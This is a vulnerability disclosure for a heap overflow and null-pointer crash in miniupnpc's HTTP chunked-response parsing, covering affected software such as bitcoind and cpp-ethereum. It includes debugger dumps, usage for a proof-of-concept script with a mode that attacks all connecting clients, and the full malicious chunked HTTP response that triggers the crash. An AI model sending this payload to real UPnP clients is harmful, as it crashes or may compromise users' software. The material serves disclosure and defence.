header_buf = 0x60f010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
header_buf_len = 2048
header_buf_used = <optimized out>
content_buf = 0x60f820 "<xml>BOOM</xml>", 'A' <repeats 16 times>
content_buf_len = 9041 //#! <--- dst buffer size
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\313\377\377\377\177\000\000\200\277@\000\000\000\000\000\233\277@\000\000\000\000"
chunksize_buf_index = 0
reason_phrase = 0x0
reason_phrase_len = 0
##### 2) SCENARIO_CRASH_REALLOC_NULLPTR
Miniupnp v1.8 was missing an error check for `realloc` which can
be used to cause a DoS condition when making `realloc` fail while
allocating a large chunk of data. When `realloc` fails - because
the requested size of memory cannot be allocated - it returns a
`nullptr`. Miniupnp ~1.8 was missing a check for the `nullptr`
and tried to `memcpy` bytes from the attackers http response to
that `nullptr` which fails with an `ACCESS_VIOLATION`.
To achieve this scenario one must provide an arbitrarily large
`content_length` (e.g. `0x7fffffff` likely fails on 32 bits) and
make `memcpy` attempt to copy a byte to that location.
##### 3) SCENARIO_CRASH_1_BYTE_BUFFER
The idea is to create a small heap buffer and overwrite it with
a large chunk of data. This can be achieved by making instructing
miniupnp to `realloc` `content_buf` to a size of `1 byte` by
providing a `content-length` of `1`. To overwrite this 1 byte
buffer the attacker provides a negative chunksize e.g.
`0x80000000`. Depending on the implementation of `memcpy` and
the memory layout `memcpy` will either fail with a
`ACCESS_VIOLATION_READ` as we're only providing <= 2048 bytes
with the server response and will most certainly hit a non-accessible
memory region while copying `0x80000000` bytes or the application
crashes because of a heap corruption.
Discussion: It could maybe possible for an upnp thread to corrupt
the heap, overwriting structures used by another thread to cause
code execution even before the application crashes when accessing
a non-accesible memory region.
Here's an example of `miniupnpc` corrupting the heap when compiled
for 32 bit platforms.
⺠0x80504de <getHTTPResponse+1912> call memcpy@plt <0x8048a20>
dest: 0x805981f ââ 0x0 //#! <--- size 1 - attacker controlled content_buf
src: 0xffffb77e ââ 0x41414141 ('AAAA') //#! <--- attacker controlled http response
n: 0x80000000 //#! <--- attacker controlled (must be negative) bytestocopy
pwndbg> i lo
i = 30
buf = "f\r\n<xml>BOOM</x"...
n = <optimized out>
endofheaders = 91
chunked = 1
content_length = 1
chunksize = 2147483648
bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf
header_buf = 0x8059008 "HTTP/1.1 200 OK"...
header_buf_len = 2048
header_buf_used = <optimized out>
content_buf = 0x8059810 "<xml>BOOM</x\351\a\002"
content_buf_len = 1 //#! <--- destination, realloc'd to 1
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\267\377\377p12"...
chunksize_buf_index = <optimized out>
reason_phrase = 0x0
reason_phrase_len = 0
//#! ### before memcpy
pwndbg> hexdump content_buf 100
+0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 00 â<xmlâ>BOOâM</xâ....â
+0010 0x8059820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 â....â....â....â....â
...
+0060 0x8059870 00 00 00 00 â....â â â â
+0064 0x8059874
//#! ### after memcpy
pwndbg> hexdump content_buf 100
+0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 41 â<xmlâ>BOOâM</xâ...Aâ
+0010 0x8059820 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 âAAAAâAAAAâAAAAâAAAAâ
...
+0060 0x8059870 41 41 41 41 âAAAAâ â â â
+0064 0x8059874
#### Impact analysis:
* DoS - providing an overly large `content_length` may cause `realloc`
to fail and return a `nullptr`. subsequently crashing due to `memcpy`
trying to copy to `nullptr`. Has been `fixed > v1.8`.
* DoS / potential RCE - providing a correct `content_length` wont cause
`realloc` to fail and `memcpy` will go on copying a large block of data
to `content_buf`. Potential for RCE in multithreaded environments with
threads sharing the heap e.g. main thread doing things while upnp thread
overwrites large portions of the heap. may result in random crashes but
might allow to corrupt neighboring heap chunks in a way to gain code
exec.
* DoS - providing `0x7fffffff` to content_length may fail due to `realloc`
not being able to allocate >2 GB heap space on certain platforms. If
that would succeed, an attacker could try to write `1+x` bytes past the
reallocation when providing a chunksize of `0x80000000+x`. However, the
attacker is not able to provide http response chunks >2048 bytes due to
miniupnp reading responses in chunks of max 2048 therefore rendering a
RCE scenario impossible turning it into a DoS condition with due to
`ACCESS_VIOLATION_READ`.
Proof of Concept
----------------
Prerequisites:
* any software that compiles with `miniupnpc` or calls
`miniwget.c::miniwget()` - e.g. bitcoind (with -upnp)
* `poc.py`, python 2.7, tested on windows and linux
(disable firewall or allow inbound tcp:65000, udp:1900)
Usage:
```c
usage: poc.py [options]
example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]]
optional arguments:
-h, --help show this help message and exit
-q, --quiet be quiet [default: False]
-l LISTEN, --listen LISTEN
local httpserver listen ip:port. Note: 0.0.0.0:<port>
is not allowed. This ip is being used in the SSDP
response Location header.
-u USN, --usn USN Unique Service Name.
-t [TARGET [TARGET ...]], --target [TARGET [TARGET ...]]
Specify a list of client-ips to attack. Use --havoc to
attempt to crash all clients.
-z, --havoc Attempt to attack all clients connecting to our http
server. Use at your own risk.
```
run PoC
* local listen ip:port for the malicious web server: 192.168.2.104:65000 (your ip)
* only attempt to crash client 192.168.2.113 (use --havoc instead of --target to disable whitelist)
```python
#> poc.py --listen <your_local_ip>:65000 --target 192.168.2.113
[poc.py - main() ][ INFO]
_ _ _____ _____ _____ _____
/ |/ | | | | _ | | | _ | ___ ___ _____ ___ ___ ___
/ // / | | | __| | | | __| _ _ _ | | . | | | . | _| -_|
|_/|_/ |_____|__| |_|___|__| |_|_|_| |_|_|___| |_|_|_|___|_| |___
//github.com/tintinweb
[mode ] filter (targeting ['192.168.2.113'])
[listen] 192.168.2.104:65000 (local http server listening ip)
[usn ] uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice
[poc.py - main() ][ DEBUG] spawning webserver: <BadHttpServer bind=('192.168.2.104', 65000)>
[poc.py - __init__() ][ DEBUG] [SSDP] bind: 0.0.0.0:1900
[poc.py - listen() ][ INFO] [HTTP] bind 192.168.2.104:65000
[poc.py - __init__() ][ DEBUG] [SSDP] add membership: UDP/239.255.255.250
[poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'M-SEARCH' : <function handle_msearch at 0x027B9270>
[poc.py - listen() ][ INFO] [HTTP] waiting for connection
[poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'NOTIFY' : <function handle_notify at 0x027B9330>
[poc.py - listen() ][ DEBUG] [SSDP] listening...
[poc.py - listen() ][ INFO] [ ] connection from: ('192.168.2.113', 43810)
[poc.py - listen() ][ DEBUG] GET /xxxx.xml HTTP/1.1
Host: 192.168.2.104:65000
Connection: Close
User-Agent: CentOS/7.2.1511, UPnP/1.1, MiniUPnPc/2.0
[poc.py - send() ][ DEBUG] HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Length: 9041
Content-Type: text/html
f
<xml>BOOM</xml>
80000000
AAAAAAAAAAAAAAAA... //#! Repeated 9k times.
3
bye
0
[poc.py - send() ][ WARNING] [----->] BOOM! payload delivered! - [to:('192.168.2.113', 43810)] <HttpLikeMessage msg=('HTTP/1.1', '200', 'OK') header={'Transfer-Encoding': 'chunked', 'Content-Length': 9041, 'Content-Type': 'text/html'} body='f\r\n<xml>BOOM</xml>\r\n80000000\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n3\r\nbye\r\n0'>
[poc.py - listen() ][ INFO] waiting for connection
```
#### A) miniupnpc v2.0
```python
[tin@localhost miniupnpc]$ gdb --args ./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s
...
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tin/miniupnp/miniupnpc/./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s
upnpc : miniupnpc library test client, version 2.0.
(c) 2005-2016 Thomas Bernard.
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
parsed url : hostname='192.168.2.104' port=65000 path='/xxxx.xml' scope_id=0
address miniwget : 192.168.2.113
header='Transfer-Encoding', value='chunked'
chunked transfer-encoding!
header='Content-Length', value='9041' //#! user provided content length (valid)
Content-Length: 9041
header='Content-Type', value='text/html'
chunksize = 15 (f)
chunksize = 2147483648 (80000000) //#! user provided chunk size 0x80000000
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb) up
#1 0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
306 memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
(gdb) bt
#0 0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1 0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
#2 0x0000000000408d5c in miniwget3 (host=host@entry=0x7fffffffd500 "192.168.2.104", port=<optimized out>, path=0x7fffffffe73c "/xxxx.xml", size=size@entry=0x7fffffffd59c,
addr_str=addr_str@entry=0x7fffffffe320 "192.168.2.113", addr_str_len=addr_str_len@entry=64, httpversion=httpversion@entry=0x40b665 "1.1", scope_id=0, status_code=status_code@entry=0x0)
at miniwget.c:468
#3 0x00000000004091f1 in miniwget2 (status_code=0x0, scope_id=<optimized out>, addr_str_len=64, addr_str=0x7fffffffe320 "192.168.2.113", size=0x7fffffffd59c, path=<optimized out>, port=<optimized out>,
host=0x7fffffffd500 "192.168.2.104") at miniwget.c:484
#4 miniwget_getaddr (url=url@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", size=size@entry=0x7fffffffd59c, addr=addr@entry=0x7fffffffe320 "192.168.2.113", addrlen=addrlen@entry=64,
scope_id=scope_id@entry=0, status_code=status_code@entry=0x0) at miniwget.c:659
#5 0x00000000004043f1 in UPNP_GetIGDFromUrl (rootdescurl=rootdescurl@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", urls=urls@entry=0x7fffffffd6a0, data=data@entry=0x7fffffffd790,
lanaddr=lanaddr@entry=0x7fffffffe320 "192.168.2.113", lanaddrlen=lanaddrlen@entry=64) at miniupnpc.c:708
#6 0x0000000000401f69 in main (argc=<optimized out>, argv=0x7fffffffe478) at upnpc.c:690
(gdb) i lo
i = 30
buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 1418 times>...
n = 1354
endofheaders = 94
chunked = 1 //#! chunked-encoding mode
content_length = 9041 //#! user provided content-length (valid)
chunksize = 2147483648 //#! user provided chunk-size (invalid, 0x80000000)
bytestocopy = 2147483648 //#! is our chunk-size. used in call to memcpy as the number of bytes to copy.
header_buf = 0x610010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
header_buf_len = 2048
header_buf_used = 1448
content_buf = 0x610820 "<xml>BOOM</xml>"
content_buf_len = 9041 //#! has been reallocated to content-length (otherwise this would be ~2k)
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\311\377\377\377\177\000\000\313\305@\000\000\000\000\000\005\000\000\000\000\000\000"
chunksize_buf_index = 0
reason_phrase = 0x0
reason_phrase_len = 0
```
#### B) cpp-ethereum v1.3.0
```python
[tin@localhost ~]$ eth --version
eth version 1.3.0
eth network protocol version: 63
Client database version: 12041
Build: Linux/g++/Interpreter/RelWithDebInfo
[tin@localhost miniupnpc]$ gdb --args eth -v 9
...
(gdb) r
